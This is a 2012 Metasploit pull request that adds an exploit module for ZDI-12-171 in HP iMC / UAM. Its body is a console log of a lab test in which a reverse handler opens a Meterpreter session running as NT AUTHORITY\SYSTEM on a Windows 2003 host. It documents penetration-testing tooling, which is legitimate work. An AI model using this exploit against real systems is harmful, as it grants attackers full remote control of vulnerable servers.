rapid7/metasploit-framework — pull request #997 by jvazquez-r7 (2012-11-01 16:19:51+00:00)
Title: Added module for ZDI-12-171

Tested successfully on Windows 2003 SP2 and HP iMC 5.0 E0101 / UAM 5.0 E0102:

msf > use exploit/windows/misc/hp_imc_uam
msf exploit(hp_imc_uam) > set rHOST 192.168.172.157
rHOST => 192.168.172.157
msf exploit(hp_imc_uam) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Trying target HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2...
[*] Sending stage (752128 bytes) to 192.168.172.157
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.157:2924) at 2012-11-01 17:17:06 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.157 - Meterpreter session 1 closed. Reason: User exit